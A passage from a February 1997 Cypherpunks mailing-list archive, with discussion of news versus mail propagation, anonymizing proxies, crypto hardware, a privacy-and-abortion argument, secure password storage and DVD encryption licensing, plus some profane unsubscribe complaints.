majordomo net before it floods >> the real usenet unless something is seriously broken). I replied: > Why is it obvious that mail propagation will be faster than news > propagation? News propagation times of small numbers of seconds are > not at all uncommon. Sorry, I misunderstood the earlier message. I thought that it referred to news propagation between a small set of hosts versus mail propagation between the same small set of mail/news hosts, and I did not see why it was obvious that mail would be faster than news. But actually the earlier message refered to news propagation over the whole planet versus mail propagation between a small set of hosts, in which case of course news will be slower. --apb (Alan Barrett) From japhy at enteract.com Tue Feb 18 09:11:20 1997 From: japhy at enteract.com (Japhy Ryder) Date: Tue, 18 Feb 1997 09:11:20 -0800 (PST) Subject: ##$!@#$#@!$# Message-ID: <199702181711.JAA07650@toad.com> cual es la fecha? czesc, tak mal na dodjze kajka.... -- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzLvsCAAAAEEANHTflxW1D4mB/h3dnEV7K1jzXvmBOrSh+EHbkCn+ZjLislg LW51QG9CuS81VaHx75xdxV1C11RXJybaqqrtT186aQfmEuTQP0rLJYy859xdHpcu DldUZ9ry3xXACtQAk3bPlvo6Yd3TmucoPXDl55w95Hru+H7TIzR2UortBxKZAAUR tAtKYXBoeSBSeWRlcg== =0WVf -----END PGP PUBLIC KEY BLOCK----- From apb at iafrica.com Tue Feb 18 09:11:27 1997 From: apb at iafrica.com (Alan Barrett) Date: Tue, 18 Feb 1997 09:11:27 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702181711.JAA07677@toad.com> On 18 Feb 1997, Bryan Reece wrote: > Filtering out other gateways' messages will reduce load at > the possible expense of delay (assuming a smallish network of news > servers that feed each other the list; obviously the message will > flood the majordomo net before it floods the real usenet unless > something is seriously broken). Why is it obvious that mail propagation will be faster than news propagation? News propagation times of small numbers of seconds are not at all uncommon. --apb (Alan Barrett) From edgarswank at juno.com Tue Feb 18 09:11:29 1997 From: edgarswank at juno.com (Edgar W Swank) Date: Tue, 18 Feb 1997 09:11:29 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: <199702181711.JAA07678@toad.com> Does anyone have a list of web proxies for anonymous surfing? I already know about www.anonymizer.com, and there was a "canadianizer" that would alter text to make it more "Canadian", but that is now apparently defunct. Reason I need to know, a friend in a foreign country has to deal with a web proxy that blocks "objectionable" sites including www.anonymizer, so some alternates that might not be blocked would be welcome. Edgar W. Swank (preferred) Edgar W. Swank (for files/msgs >50K) Home Page: http://members.tripod.com/~EdgarS/index.html From geer at OpenMarket.com Tue Feb 18 09:11:34 1997 From: geer at OpenMarket.com (Dan Geer) Date: Tue, 18 Feb 1997 09:11:34 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <199702181711.JAA07684@toad.com> These chips look *very* promising. Who needs Clipper, or HP's Clipper-under-another-name, when you can get triple DES from the free world at prices like this? The critical thing is to get the horse out of the barn before the door is barred. Each and every one of these sorts of vendors has to establish use and distribution on a wide basis before governments of any stripe start locking down on domestic use. There is little time and, yes, I am a paranoid who hopes thereby to survive. --dan From apb at iafrica.com Tue Feb 18 09:11:46 1997 From: apb at iafrica.com (Alan Barrett) Date: Tue, 18 Feb 1997 09:11:46 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702181711.JAA07699@toad.com> > >Why is it obvious that mail propagation will be faster than news > >propagation? News propagation times of small numbers of seconds are not > >at all uncommon. > > News propagation in seconds to your _local server_, or to _distant_ > servers? To some (perhaps many, certainly not all) distant servers, provided all the news servers in the path run appropriate software (designed for low latency propagation) and have reasonably high bandwidth Internet links. Disk to disk delays smaller than 1 second have been measured between news servers that use software such as nntplink or innfeed to send outgoing articles immediately. > The Usenet is thousands of news servers, maybe tens of thousands, and > news feeds take a while...small articles are mixed in with hundreds of > megabytes a day of binaries. A percolation process, as opposed to a > point-to-point process for e-mail. Right. And some of those news links are fast, while others are slow. If two sites happen to be connected by fast news links, it's quite possible for news between those sites to be faster than mail. --apb (Alan Barrett) From apb at iafrica.com Tue Feb 18 09:11:47 1997 From: apb at iafrica.com (Alan Barrett) Date: Tue, 18 Feb 1997 09:11:47 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702181711.JAA07700@toad.com> Bryan Reece wrote: >> obviously the message will flood the majordomo net before it floods >> the real usenet unless something is seriously broken). I replied: > Why is it obvious that mail propagation will be faster than news > propagation? News propagation times of small numbers of seconds are > not at all uncommon. Sorry, I misunderstood the earlier message. I thought that it referred to news propagation between a small set of hosts versus mail propagation between the same small set of mail/news hosts, and I did not see why it was obvious that mail would be faster than news. But actually the earlier message refered to news propagation over the whole planet versus mail propagation between a small set of hosts, in which case of course news will be slower. --apb (Alan Barrett) From camcc at abraxis.com Tue Feb 18 09:12:30 1997 From: camcc at abraxis.com (Alec) Date: Tue, 18 Feb 1997 09:12:30 -0800 (PST) Subject: alt.cypherpunks.ebonics Message-ID: <199702181712.JAA07739@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Igor, A friend, who, in the CP tradition requested to remain anonymous, and I were doing an informal analysis of those subjects/topics which over the past year generated the most discussion and, by implication, interest on the CP list. Since the list at that time was reportedly unmoderated, we felt some weight should be given to members' interests/desires as measured by their posts, regardless of the applicability to the list topic. With the exceptions of AP (oh so clearly way off-topic), list censorship (too tedious), and remarks either questioning or affirming the sexuality/virility/femininity (or lack thereof ) of almost every CP subscriber, the topic which claimed the most bandwidth was Ebonics. It seemed to touch on several layers of CP interest: freedom of speech, obfuscation, tolerance, intolerance, phonetics, linguistics, race warfare, etc. You name it; just about every well-known c'punk jumped in to make some urbane statement on this, sadly, now dead and ignored issue. Nevertheless, the bandwidth was there! Note; any messages followed by Punctuation Art were excluded if they seemed to lack "dignity," for want of a better word. Based on the above stats (available from my friend on request), my anonymous friend and I request that you add Ebonics as an area of interest to Cypherpunks in your List Intro. Please judge this request on its merit and not on what you may think of me or my anonymous (asexual) friend personally, thereby, by that very action, initiating a New Order of Cypherpunks! Thanks for you consideration. More importantly, thank you for helping to keep this vibrant list alive. Alec (and friend) -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Message PGP 2.6.2. signed/encrypted. Public key available on request or from keyservers. iQCVAgUBMwnVrSKJGkNBIH7lAQEl9gP/XIujtLKrVf2l7MaR50rM/BO9wCkYQeHy 7UoISphHlxs8PScnxkw6PQsVHerd+FnxPJQ2xAnCa1gUujxuif8OrsYpInVcfEap 99KkC39DzAe+/zHrOR2Kt7MK+X8267oCIWl4Yt1VBkCSt8ruktCnIXF41ghyuHUt 3N7reRPx6Hs= =EMeF -----END PGP SIGNATURE----- From tcmay at got.net Tue Feb 18 09:29:58 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 18 Feb 1997 09:29:58 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702181729.JAA07983@toad.com> At 5:35 PM +0200 2/18/97, Alan Barrett wrote: >On 18 Feb 1997, Bryan Reece wrote: >> Filtering out other gateways' messages will reduce load at >> the possible expense of delay (assuming a smallish network of news >> servers that feed each other the list; obviously the message will >> flood the majordomo net before it floods the real usenet unless >> something is seriously broken). > >Why is it obvious that mail propagation will be faster than news >propagation? News propagation times of small numbers of seconds are not >at all uncommon. News propagation in seconds to your _local server_, or to _distant_ servers? Articles I post do indeed appear "immediately" on my local site, but certainly not so immediately on distant sites. The Usenet is thousands of news servers, maybe tens of thousands, and news feeds take a while...small articles are mixed in with hundreds of megabytes a day of binaries. A percolation process, as opposed to a point-to-point process for e-mail. And I know that my site sometimes does not see articles for tens of hours, even days, after the initial act of distribution. (Sometimes articles appear more than a week late...presumably they've been lost to mu site on some railroad siding someplace.) This is why people say "News is slower than mail." --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From mclow at owl.csusm.edu Tue Feb 18 09:33:18 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Tue, 18 Feb 1997 09:33:18 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702181541.HAA06067@toad.com> Message-ID: >>(And I always thought the "woman's right to privacy" argument for abortion >>was flaky. Accepting such an argument, wouldn't infanticide be equally >>protected by a woman's right to privacy?) >> >>--Tim May > > Whoa! This begs a thoughful response, but I don't have time right >now. Might it suffice to suggest that a privacy claim -- a demand for >control over what concerns her, her alone, or (on balance) her more than >any other -- seems reasonable to extend to both contraception and early >abortion? For many of us, by the same logic, and with the same moral >comfort. > [ more discussion of abortion snippped. ] > To my mind, any attempt to control what is done to the woman's body >(by her choice) while the prospective child is but a bit of enhanced >potential, much much less than a viable child, is an unconstitutional and >morally-invalid attempt by others (the state, the church, the country club) >to pre-empt her will, and prescribe or dictate a wholly new value system >for her. > > Vin McLellan + The Privacy Guild + > 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 Let's not start this. Tim wasn't arguing for or against abortion; he made no comments about abortion. His comment was that the _argument_ used to "legalize" abortion was unconvincing to him. If we are going to discuss privacy, that's fine. It we are going to discuss abortion, there are better fora. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From eickfarm at alpha.shianet.org Tue Feb 18 10:16:11 1997 From: eickfarm at alpha.shianet.org (eickfarm) Date: Tue, 18 Feb 1997 10:16:11 -0800 (PST) Subject: Military/Intelligence URL Message-ID: <9702181815.AA19487@alpha> >Return-Path: >Date: Tue, 11 Feb 1997 03:22:32 -0500 >From: harka at nycmetro.com >To: cypherpunks at toad.com >Subject: Military/Intelligence URL >Sender: owner-cypherpunks at toad.com >Precedence: bulk >X-UIDL: b0eef8d389443636415db00da7508d3f > >-----BEGIN PGP SIGNED MESSAGE----- > >Here an page, that deals with various intelligence and military >institutions... > > > In> Subject: GOVT> AJAX, Government and Military Intelligence > > In> http://204.180.198.56:80/ajax/ajax.htm > > In> United States and International Government Military and Intelligence > In> Agency Access > > In> Certain Locations Or Sections Thereof May Be Closed To > In> Unauthorized Use. > In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM. > In> (If You Prefer A Frameless Environment, Click HERE.) > In> Last update: 7 FEBRUARY 1997. All accesses verified at > In> time of inclusion. > > In> CIA Central Intelligence Agency > In> DIA Defense Intelligence Agency > In> NRO National Reconnaissance Office > In> NSA National Security Agency > In> SS Secret Service > In> USCSOI U.S. Customs Service Office of Investigation > > In> ATF Bureau of Alcohol, Tobacco and Firearms > In> BOP Federal Bureau of Prisons > In> CID U.S. Army Criminal Investigation Command > In> COURTS U.S. Federal Courts > In> FBI Federal Bureau of Investigation > In> FINCEN Financial Crimes Enforcement Network > In> FLETC Federal Law Enforcement Training Center > In> MARSHALS U.S. Marshals Service > In> NIJ National Institute of Justice > In> ACC Air Combat Command > In> AFSPC Air Force Space Command > In> BMDO Ballistic Missile Defense Organization > In> DEFENSE Defense Department > In> DISA Defense Information Systems Agency > In> DRMS Defense Reutilization and Marketing Service > In> DTIC Defense Technical Information Center > In> JCS Joint Chiefs of Staff > In> NAVWAN Naval Aviation Systems Team Wide Area Network > In> NAWCWPNS Naval Air Warfare Center Weapons Division > In> NSWC Naval Surface Warfare Center > In> USAFA United States Air Force Academy > > In> AHPCRC Army High Performance Computing Research Center > In> ARPA Advanced Research Projects Agency > In> LABLINK U.S. Department of Defense Laboratory System > In> NRL The Naval Research Laboratory RL > In> USAF Rome Laboratory for C41 Technology > In> USACIL U.S. Army Criminal Investigation Laboratory > > In> NATGUARD Army and Air National Guards > In> USA United States Army > In> USAF United States Air Force > In> USCG United States Coast Guard > In> USMC United States Marine Corps > In> USN United States Navy > > In> EPA U.S. Environmental Protection Agency > In> FAA Federal Aviation Administration Technical Center > In> FCC Federal Communications Commission > In> FTC Federal Trade Commission > In> NMFS National Marine Fisheries Service > In> NRC Nuclear Regulatory Commission > In> SEC Securities and Exchange Commission > In> CDC Centers for Disease Control and Prevention > In> CENSUS U.S. Department of Commerce Bureau of the Census > In> CONGRESS U.S. House of Representatives > In> CUSTOMS U.S. Customs Service > In> DOE U.S. Department of Energy National Laboratories > In> & Programs > In> EXECUTIVE The White House > In> FDIC Federal Deposit Insurance Corporation > In> FEMA Federal Emergency Management Agency > In> FMS Financial Management Service > In> GPO U.S. Government Printing Office > In> GSA U.S. General Services Administration > In> HHS U.S. Department of Health and Human Services > In> HPCC NOAA High Performance Computing and > In> Communications IRS Internal Revenue Service > In> JUSTICE Justice Department > In> NARA National Archives and Records Administration > In> NASA National Aeronautics and Space Administration > In> NCDC National Climatic Data Center > In> NIMH National Institute of Mental Health > In> NOAA National Oceanic & Atmospheric Administration > In> NSF National Science Foundation > In> NTIS National Technical Information Service > In> SBA Small Business Administration > In> SEL Space Environment Laboratory > In> STATE State Department > In> TREASURY Treasury Department > In> USCODE U.S. House of Representatives > In> Internet Law Library U.S. Code > > In> CANADA > In> CSE Communications Security Establishment > In> CISC Criminal Intelligence Service Canada > In> CSIS Canadian Security Intelligence Service > In> SIRC Security Intelligence Review Committee > In> UNITED KINGDOM CIM Central Intelligence Machinery > > In> CANADA > In> DJC Department of Justice of Canada > In> FORENSIC The Forensic Web > In> RCMP Royal Canadian Mounted Police > In> SGC Solicitor General of Canada > > In> UNITED NATIONS UNCPCJ United Nations Crime Prevention & > In> Criminal Justice > > In> CANADA > In> CFC Canadian Forces College > In> DREO Defense Research Establishment, Ottawa > > In> UNITED KINGDOM > In> ARMY The British Army > In> CDA Centre for Defence Analysis > In> DRA Defence Research Agency > > In> NATO North Atlantic Treaty Organization > In> SACLANT Supreme Allied Commander, Atlantic > In> SHAPE Supreme Headquarters Allied Powers Europe > > In> BECCA Business Espionage Controls & Countermeasures > In> Association > In> CRYPTOLOG Internet Guide to Cryptography > In> DCJFTF Washington, D.C. Joint Fugitive Task Force > In> WANTED "The World's Most Wanted" (Fugitives and > In> Unsolved Crimes) > > >Ciao > >Harka > >/*************************************************************/ >/* This user supports FREE SPEECH ONLINE ...more info at */ >/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ >/* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ >/* PGP public key available upon request. [KeyID: 04174301] */ >/* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ >/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ >/* May there be peace in this world, may all anger dissolve */ >/* and may all living beings find the way to happiness... */ >/*************************************************************/ > >-----BEGIN PGP SIGNATURE----- >Version: 2.6.2 > >iQEVAgUBMv7aGjltEBIEF0MBAQF1CAf+MyLUa3sBKCAuxhzCZ0tQqP3jxAjQpIuV >WdsTCW9L3jPwLdZ9BmqeqAuaIU4JQzCpEx5bgKdzGThF5mG2U4XaeOcD4gBpWZyz >sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8 >3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j >6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni >2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig== >=s4om >-----END PGP SIGNATURE----- > > >If encryption is outlawed, only outlaws will have encryption... > > > > >------------------------------ **********WHY AM I RECEIVING 346 MESSAGES THAT ORIGINATED WITH CYPHERPUNKS at TOAD.COM? I AM UNABLE TO USE MY E=MAIL BECAUSE OF THE MESSAGES THAT HAVE ACCUMULATED. EVERY SINGLE ONE OF THESE MESSAGES REFERENCES YOUR ORGANIZATION. I HAVE NEVER ACCESSED ANYTHING THAT HAD TO DO WITH YOUR GROUP. PLEASE ASSIST ME IN REMOVING THE ROUTING OF THESE MESSAGES TO MY E-MAIL. OTHERWISE, I WILL BE FORCED TO CANCEL MY SUBSCRIPTION TO THE INTERNET. THANK YOU. EICKFARM at SHIANET.ORG From robertn at dm.net.lb Tue Feb 18 10:43:01 1997 From: robertn at dm.net.lb (Robert Nadra) Date: Tue, 18 Feb 1997 10:43:01 -0800 (PST) Subject: Stop sending me your shit Message-ID: <19970218164347.AAA20169@kodakne.dm.net.lb> Get me off your list or else ..... . Get me out your fuckin list assholes. From lharrison at mhv.net Tue Feb 18 10:44:29 1997 From: lharrison at mhv.net (Lynne L. Harrison) Date: Tue, 18 Feb 1997 10:44:29 -0800 (PST) Subject: Address -- Invalid (was Re: message to USSA Senate) (fwd) Message-ID: <9702181844.AA01919@super.mhv.net> -----BEGIN PGP SIGNED MESSAGE----- Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit To: alexandr at win.tue.nl, cypherpunks at toad.com, home at collegehill.com Date: Tue Feb 18 13:49:43 1997 I checked with the people at College Hill Internet by forwarding your msg to them to which they replied. **N.B. - College Hill did my page so I know them to be reputable. Long story short, they worked on a web page for a particular political campaign and, during the process of doing the web consulting, they briefly set up an e-mail account for them on their server. Since then, they have been treated to a regular supply of spam from various persons who think that is still the Senator's address. They've received threatening spam (about 200 hundred copies of it) which was bounced from them back to senders who in this case weren't even the senders, etc. etc. etc. The headers reflect that they've been forged. Understandably, College Hill is concerned that, those people who might not understand the headers that well, will conclude College Hill as being the spammers - which could damage their reputation. Hope this answers (at least part of) your question. Lynne -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwn5yD5A4+Z4Wnt9AQG5GQP+Nlf5REseGJ3Nij3Xq76A7Lkcv38vbkS8 iE0XUyJIzZ+B9sixuBHRYCeTHiX8hFRUUMgOCZWFqoXYjN3JWvIbz8W3hFV0LZtf oz7NBE3WEeM6jzDPZlRN/KDiNoMgsPDLgcP0+3P9PbOFln39jc+vvWDjK0uKl3om YBQ7DhCyccs= =PtAp -----END PGP SIGNATURE----- From robertn at dm.net.lb Tue Feb 18 10:46:28 1997 From: robertn at dm.net.lb (Robert Nadra) Date: Tue, 18 Feb 1997 10:46:28 -0800 (PST) Subject: Stop sending me your shit Message-ID: <19970218164804.AAA20314@kodakne.dm.net.lb> Get me off your list or else ..... . Get me out your fuckin list assholes. From camcc at abraxis.com Tue Feb 18 10:53:06 1997 From: camcc at abraxis.com (Alec) Date: Tue, 18 Feb 1997 10:53:06 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702181541.HAA06067@toad.com> Message-ID: <3.0.1.32.19970218135442.006ae0b4@smtp1.abraxis.com> At 09:33 AM 2/18/97 -0800, you wrote: :Let's not start this. : :Tim wasn't arguing for or against abortion; he made no comments :about abortion. His comment was that the _argument_ used to "legalize" :abortion was unconvincing to him. : :If we are going to discuss privacy, that's fine. :It we are going to discuss abortion, there are better fora. : : :-- Marshall : :Warning: Objects in calendar are closer than they appear. Good for you!!!!! I appreciate your post. However, it smells like a Daleism. I revel in fora. (Had to think about that.) Nice sig too. Alec From jer+ at andrew.cmu.edu Tue Feb 18 10:58:33 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 18 Feb 1997 10:58:33 -0800 (PST) Subject: Any more like www.anonymizer.com ?? In-Reply-To: <19970218.073526.2862.2.edgarswank@juno.com> Message-ID: <0n2Tj3200YUh07k4M0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- edgarswank at juno.com (Edgar W Swank) writes: > Does anyone have a list of web proxies for anonymous surfing? > > I already know about www.anonymizer.com, and there was a > "canadianizer" that would alter text to make it more "Canadian", > but that is now apparently defunct. There's a Zippifier (inserts Zippy the Pinhead quotes) at: http://www.metahtml.com/apps/zippy/welcome.mhtml Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwn7vskz/YzIV3P5AQEOwgL/RhNiyJUBtcVa8o2mqmflXRDJ89QSoYHL y7gLjhzY30/VXWUL14/m3jn3kN2EUrD9XKA12bauvST769TeRw0AAUepIsijrUAr xKDCG2Jqe4ThLS56AuTmiJQVkDLBDJx6 =gLdy -----END PGP SIGNATURE----- From camcc at abraxis.com Tue Feb 18 11:03:19 1997 From: camcc at abraxis.com (Alec) Date: Tue, 18 Feb 1997 11:03:19 -0800 (PST) Subject: Stop sending me your shit In-Reply-To: <19970218164347.AAA20169@kodakne.dm.net.lb> Message-ID: <3.0.1.32.19970218140453.006a6a8c@smtp1.abraxis.com> At 08:38 PM 2/18/97 +0200, you wrote: : :Get me off your list or else ..... . Get me out your fuckin list assholes. Certainly you learned on your mother's knee that you can get more of what you want from other people with kindness rather than anger and rudeness. What did she say about using foul words? Lets think about these things. You may be in for a long stay here. These folks can be downright nasty sometimes. You've got friends here. Let's be nice and keep it that way. Now what do we say?????? Alec From Ed.Falk at Eng.Sun.COM Tue Feb 18 11:41:34 1997 From: Ed.Falk at Eng.Sun.COM (Ed Falk) Date: Tue, 18 Feb 1997 11:41:34 -0800 (PST) Subject: Interesting question: how to safely keep passwords online Message-ID: <199702181940.LAA24732@peregrine.eng.sun.com> Here's a question that's been on my mind lately: Often, you like to keep external passwords stored on your personal computer. As a quick example, Eudora will remember your POP password for you so you don't have to enter it every time. Obviously, Eudora keeps this on disk somewhere. The question is: is there any (relatively) safe way to do this? Obviously, Eudora encrypt the saved password with some secret key, but this key could probably be found by examining the code. A slight improvement would be for Eudora to generate an encryption key on the fly based on some external system state, but this is also susceptible to reverse-engineering. -ed falk From vin at shore.net Tue Feb 18 11:51:48 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 18 Feb 1997 11:51:48 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702181951.OAA12558@relay1.shore.net> Marshall Clow wrote: >Let's not start this.... >If we are going to discuss privacy, that's fine. >It we are going to discuss abortion, there are better fora. Right, Marshall. I was attempting to respond directly to Tim's comment, but I too have no desire to let the end of C'punks be yet another sinkhole Abortion Debate. Foil at guard. I'll subside and let any riptide response roll over me;-). (Jeeze! Anyone else feel like these are the Final Days, like when a company goes bankrupt, or graduation day or the like?? I hope one of these C'punkish alternatives will provide an opportunity for some of the same thoughtful and stimulating engagements that toad.com hosted.) Respect to all, pro-choice and pro-life, _Vin From bryce at digicash.com Tue Feb 18 11:52:38 1997 From: bryce at digicash.com (Bryce) Date: Tue, 18 Feb 1997 11:52:38 -0800 (PST) Subject: article on "Wired News" Message-ID: <199702181952.UAA03309@digicash.com> -----BEGIN PGP SIGNED MESSAGE----- "http://www.wired.com/news/" -- headline: " Monday Homeless Cypherpunks Turn to Usenet The 1,400-strong group splinters into three alt. subgroups and a mailing list - but they have plans for staying united. " "STAYING united"? Ha ha ha ha! That's funny! Keep in touch, y'all. :-) Bryce PGP sig follows -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2 iQB1AwUBMwoIlkjbHy8sKZitAQHccQMAuN28CdLh8r7qbJ08IFHEPihY0EwnUJu3 kMauwXlNdhI+VzNpBnQLkmtUdpGvTKbx2Il77fWrHJD+NM/AuEOY2wfdWJlimMZ5 zvRROoEJwG/dTS4BvsbQFqt62dZAiPH6 =dpG6 -----END PGP SIGNATURE----- From tcmay at got.net Tue Feb 18 12:22:18 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 18 Feb 1997 12:22:18 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702181951.OAA12558@relay1.shore.net> Message-ID: At 2:51 PM -0500 2/18/97, Vin McLellan wrote: > Marshall Clow wrote: > >>Let's not start this.... > >>If we are going to discuss privacy, that's fine. >>It we are going to discuss abortion, there are better fora. > > Right, Marshall. I was attempting to respond directly to Tim's >comment, but I too have no desire to let the end of C'punks be yet another >sinkhole Abortion Debate. Foil at guard. I'll subside and let any riptide >response roll over me;-). Then why did you begin an abortion debate? I made no claims one way or another about abortion, but cited the issue as the main place the "right to privacy" issue has come to the fore. And I said I found the argument uncompelling. I did not say I was against abortion, for abortion, or, for that matter, for or against infanticide. > (Jeeze! Anyone else feel like these are the Final Days, like when a >company goes bankrupt, or graduation day or the like?? I hope one of these >C'punkish alternatives will provide an opportunity for some of the same >thoughtful and stimulating engagements that toad.com hosted.) Unsurprisingly, I've gotten some of the messages from folks I often get when people dislike some post I've made. They go like this: "Tim, I really like some of your posts. But, Jeez, give it a rest on foobar! Can't you go back to writing about lahdidah?" In other words, the reader wishes I would write only about what he or she is interested in. Well, pay me my consulting rate and I'll do just that. I've written many thousands of articles over the past 4.5 years...some of them very long articles, some very short, most of medium length. (I despise one-line repartee, and I'm glad our list has never fallen into this mode as so many other lists have.) I write about what I find interesting. You all know where the Delete key is. (Of course, a fairly large fraction of my recent posts have been deleted for you by Sandy, who sends many of my posts to neither the Main list nor the Flames list. Bet a lot of you didn't know this, did you?) --Tim May > Respect to all, pro-choice and pro-life, > > _Vin Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jya at pipeline.com Tue Feb 18 12:35:28 1997 From: jya at pipeline.com (John Young) Date: Tue, 18 Feb 1997 12:35:28 -0800 (PST) Subject: JSC Security Report Message-ID: <1.5.4.32.19970218202911.006a1ecc@pop.pipeline.com> "Redefining Security," a 1994 report to the DoD and the CIA by The Joint Security Commission, offers bountiful information on US security strategies, policies, agencies, methodologies, and techniques, you name it, with designs for the future. http://jya.com/jcs.htm (454K) If you ever wanted to talk like the spooks, parrot this dictionary of NatSec ebonics. From minow at apple.com Tue Feb 18 13:15:46 1997 From: minow at apple.com (Martin Minow) Date: Tue, 18 Feb 1997 13:15:46 -0800 (PST) Subject: Why Digital Video Disks are late to market Message-ID: http://techweb.cmp.com/eet/news/97/942news/encryp.html To summarize, the Digital Video Disk standard contains an encryption standard for copyright and anti-piracy protection. however, "some U.S. PC and silicon vendors have just about abandoned hope of keeping to their revised launch schedules for DVD-enabled systems." ... as far as anybody knows, "none of the U.S. PC vendors today has a license to use the DVD-decryption algorithm" in software. "We all know the situation; we don't have a license," said Michael Moradzadeh, program manager of Intel's copy-protection task force. A solution may be in the offing within days. Some sources said late last week that Matsushita [who owns license rights] and key U.S. computer companies may resolve the software-licensing issues by the end of this week. The PC industry seeks amendments to the licensing-agreement language that would result in equivalent treatment of software- and hardware-based CSS decryption. ... there apparently has been some speculation among the U.S. PC community that Matsushita may be stonewalling on the software-licensing issue so that it can establish its hardware-based decryption solution in the marketplace. --- Nothing in the article suggests that "national interests" are involved. Martin Minow minow at apple.com From robertn at dm.net.lb Tue Feb 18 14:12:03 1997 From: robertn at dm.net.lb (Robert Nadra) Date: Tue, 18 Feb 1997 14:12:03 -0800 (PST) Subject: Stop sending me your shit Message-ID: <199702182212.OAA11924@toad.com> Get me off your list or else ..... . Get me out your fuckin list assholes. From camcc at abraxis.com Tue Feb 18 14:12:09 1997 From: camcc at abraxis.com (Alec) Date: Tue, 18 Feb 1997 14:12:09 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702182212.OAA11939@toad.com> At 09:33 AM 2/18/97 -0800, you wrote: :Let's not start this. : :Tim wasn't arguing for or against abortion; he made no comments :about abortion. His comment was that the _argument_ used to "legalize" :abortion was unconvincing to him. : :If we are going to discuss privacy, that's fine. :It we are going to discuss abortion, there are better fora. : : :-- Marshall : :Warning: Objects in calendar are closer than they appear. Good for you!!!!! I appreciate your post. However, it smells like a Daleism. I revel in fora. (Had to think about that.) Nice sig too. Alec From camcc at abraxis.com Tue Feb 18 14:12:12 1997 From: camcc at abraxis.com (Alec) Date: Tue, 18 Feb 1997 14:12:12 -0800 (PST) Subject: Stop sending me your shit Message-ID: <199702182212.OAA11949@toad.com> At 08:38 PM 2/18/97 +0200, you wrote: : :Get me off your list or else ..... . Get me out your fuckin list assholes. Certainly you learned on your mother's knee that you can get more of what you want from other people with kindness rather than anger and rudeness. What did she say about using foul words? Lets think about these things. You may be in for a long stay here. These folks can be downright nasty sometimes. You've got friends here. Let's be nice and keep it that way. Now what do we say?????? Alec From mclow at owl.csusm.edu Tue Feb 18 14:12:22 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Tue, 18 Feb 1997 14:12:22 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702182212.OAA11960@toad.com> >>(And I always thought the "woman's right to privacy" argument for abortion >>was flaky. Accepting such an argument, wouldn't infanticide be equally >>protected by a woman's right to privacy?) >> >>--Tim May > > Whoa! This begs a thoughful response, but I don't have time right >now. Might it suffice to suggest that a privacy claim -- a demand for >control over what concerns her, her alone, or (on balance) her more than >any other -- seems reasonable to extend to both contraception and early >abortion? For many of us, by the same logic, and with the same moral >comfort. > [ more discussion of abortion snippped. ] > To my mind, any attempt to control what is done to the woman's body >(by her choice) while the prospective child is but a bit of enhanced >potential, much much less than a viable child, is an unconstitutional and >morally-invalid attempt by others (the state, the church, the country club) >to pre-empt her will, and prescribe or dictate a wholly new value system >for her. > > Vin McLellan + The Privacy Guild + > 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 Let's not start this. Tim wasn't arguing for or against abortion; he made no comments about abortion. His comment was that the _argument_ used to "legalize" abortion was unconvincing to him. If we are going to discuss privacy, that's fine. It we are going to discuss 